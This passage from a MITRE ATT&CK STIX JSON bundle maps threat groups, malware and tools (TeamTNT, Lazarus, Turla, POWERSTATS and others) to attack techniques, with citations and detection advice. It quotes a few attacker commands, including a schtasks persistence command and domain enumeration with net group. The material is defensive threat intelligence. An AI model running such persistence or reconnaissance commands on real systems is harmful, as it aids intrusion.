"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"}, {"source_name": "Unit 42 Hildegard Malware", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"}, {"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Palo Alto Black-T October 2020", "description": "Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.", "url": "https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.714Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has used masscan to search for open Docker API ports and Kubernetes clusters.(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Cisco Talos Intelligence Group) [TeamTNT](https://attack.mitre.org/groups/G0139) has also used malware that utilizes zmap and zgrab to search for vulnerable services in cloud environments.(Citation: Palo Alto Black-T October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b844919a-e7d8-4317-9f0d-56338bae818c", "type": "relationship", "created": "2021-02-10T19:12:08.186Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T19:12:08.186Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to gather information from the compromrised asset, including the computer version, computer name, IIS version, and more.(Citation: ClearSky Lebanese Cedar Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b844f979-ddd2-4def-8d07-89b56ef10713", "type": "relationship", "created": "2021-08-23T19:38:33.251Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-10-18T20:36:35.421Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) encrypts the victim system using a combination of AES256 and RSA encryption schemes.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b8458076-fd1f-48e1-a637-57690c4fe59d", "created": "2023-03-17T15:26:43.132Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Lazarus Jun 2020", "description": "Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}, {"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T17:05:36.771Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.(Citation: ESET Lazarus Jun 2020)(Citation: ClearSky Lazarus Aug 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b847cd82-14c8-4270-b03d-2acf3abda4b6", "type": "relationship", "created": "2021-04-21T15:05:48.924Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 SUPERNOVA Dec 2020", "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/", "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."}, {"source_name": "Guidepoint SUPERNOVA Dec 2020", "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."}, {"source_name": "CISA Supernova Jan 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", "description": "CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021."}], "modified": "2021-04-21T15:05:48.924Z", "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) is a Web shell.(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: CISA Supernova Jan 2021)", "relationship_type": "uses", "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b849b1ae-0b73-484c-9061-38ddf3cbdbb3", "type": "relationship", "created": "2020-03-15T16:21:45.240Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-15T16:21:45.240Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b84a9cf4-976d-452d-8de0-76e318078a5c", "created": "2022-09-20T15:20:53.452Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Frankenstein June 2019", "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.", "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-21T15:03:17.712Z", "description": "During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors named a malicious scheduled task \"WinUpdate\" for persistence.(Citation: Talos Frankenstein June 2019)", "relationship_type": "uses", "source_ref": "campaign--26d9ebae-de59-427f-ae9a-349456bae4b1", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b84cc63e-63c5-4478-897b-9237b4820f36", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:30:45.118Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b8526d91-9d81-4b4c-b317-485ac7efc04a", "created": "2022-03-30T14:26:51.835Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ", "modified": "2022-04-12T13:15:10.314Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b853cee3-a145-407f-83fe-dd52c4efbe2f", "type": "relationship", "created": "2019-01-30T17:13:11.901Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "source_name": "ClearSky MuddyWater Nov 2018"}], "modified": "2020-03-16T16:04:07.121Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has established persistence through a scheduled task using the command <code>\u201dC:\\Windows\\system32\\schtasks.exe\u201d /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR \u201cc:\\Windows\\system32\\wscript.exe C:\\Windows\\temp\\Windows.vbe\u201d</code>.(Citation: ClearSky MuddyWater Nov 2018)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b8545621-f2c5-4834-a19d-fa1e0eccd33b", "created": "2022-10-04T20:46:00.216Z", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-04T20:46:00.216Z", "description": "During [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors downloaded tools and malware onto a compromised host.(Citation: Mandiant UNC3890 Aug 2022)", "relationship_type": "uses", "source_ref": "campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b85862ff-5bde-4f6e-8483-901bab69a3a2", "type": "relationship", "created": "2020-03-17T18:46:03.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/", "source_name": "CoinTicker 2019"}], "modified": "2020-03-17T18:46:03.873Z", "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.(Citation: CoinTicker 2019)", "relationship_type": "uses", "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8594cae-f7d4-4f56-b6ec-b458d9aa101a", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b85998e0-9f93-4cb3-a1cf-64e510b109c4", "type": "relationship", "created": "2021-09-16T20:11:12.456Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub Sliver Encryption", "url": "https://github.com/BishopFox/sliver/wiki/Transport-Encryption", "description": "BishopFox. (n.d.). Sliver Transport Encryption. Retrieved September 16, 2021."}], "modified": "2021-10-16T02:16:55.545Z", "description": "[Sliver](https://attack.mitre.org/software/S0633) can use AES-GCM-256 to encrypt a session key for C2 message exchange.(Citation: GitHub Sliver Encryption)", "relationship_type": "uses", "source_ref": "tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b85cff83-6468-4c63-9b25-4ac75fcb0e10", "type": "relationship", "created": "2019-10-05T02:34:01.271Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub MailSniper", "url": "https://github.com/dafthack/MailSniper", "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019."}], "modified": "2020-03-11T17:15:28.465Z", "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for password spraying against Exchange and Office 365.(Citation: GitHub MailSniper)", "relationship_type": "uses", "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b85fdb75-ec29-4bc9-921d-b11ebd8528dc", "type": "relationship", "created": "2021-02-03T18:13:28.308Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ Iran Indictments March 2018", "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}, {"source_name": "Phish Labs Silent Librarian", "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."}, {"source_name": "Secureworks COBALT DICKENS August 2018", "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities", "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."}, {"source_name": "Proofpoint TA407 September 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}, {"source_name": "Secureworks COBALT DICKENS September 2019", "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."}, {"source_name": "Malwarebytes Silent Librarian October 2020", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."}], "modified": "2021-04-21T02:25:51.044Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b865d0be-c46c-4677-b66e-fe19e1fa9f31", "created": "2022-10-05T16:00:02.267Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T19:26:08.120Z", "description": "For [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors used custom malware, including [PS1](https://attack.mitre.org/software/S0613), [CostaBricks](https://attack.mitre.org/software/S0614), and [SombRAT](https://attack.mitre.org/software/S0615).(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b87f6c02-8f95-4e40-a848-b6e3c069d703", "created": "2022-01-11T14:58:01.957Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) has been delivered via spearphishing emails that contain a malicious zip file.(Citation: Prevailion DarkWatchman 2021)", "modified": "2022-04-17T19:34:48.014Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8894821-8f07-4385-955a-205f47ffe619", "type": "relationship", "created": "2021-03-17T20:32:13.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-17T20:32:13.870Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069", "target_ref": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b89285b3-7d06-49ac-b4d5-c871436a0b67", "created": "2022-09-29T19:45:18.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T22:47:03.024Z", "description": "Monitor executed commands and arguments that may be related to abuse of installer packages, including malicious commands triggered by application installations.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b892d69f-bdfc-48e8-83f5-3081b9bffa4a", "created": "2019-06-05T17:31:22.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Ursnif Mar 2015", "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", "url": "https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T15:11:54.894Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather system information.(Citation: TrendMicro Ursnif Mar 2015)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8987cc5-08cb-484e-877f-438706f25915", "type": "relationship", "created": "2020-03-20T17:11:15.190Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "source_name": "ESET TeleBots Oct 2018"}], "modified": "2020-03-20T17:11:15.190Z", "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to launch a remote shell and executes commands on the victim\u2019s machine.(Citation: ESET TeleBots Oct 2018)", "relationship_type": "uses", "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}], "modified": "2020-06-29T02:52:31.794Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover remote systems on a local network using the <code>net view</code> and <code>net view /DOMAIN</code> commands. [Turla](https://attack.mitre.org/groups/G0010) has also used <code>net group \"Domain Computers\" /domain</code>, <code>net group \"Domain Controllers\" /domain</code>, and <code>net group \"Exchange Servers\" /domain</code> to enumerate domain computers, including the organization's DC and Exchange Server.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8a7be73-89a5-4689-8eea-280b745bd3cc", "type": "relationship", "created": "2019-01-29T21:47:53.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Radware Micropsia July 2018", "url": "https://blog.radware.com/security/2018/07/micropsia-malware/", "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.892Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.(Citation: Radware Micropsia July 2018)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8b16140-82bc-42a0-82f7-bfc402f4b4a4", "type": "relationship", "created": "2020-12-29T16:46:48.463Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T16:46:48.463Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed Registry hives ntuser.dat and UserClass.dat.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": 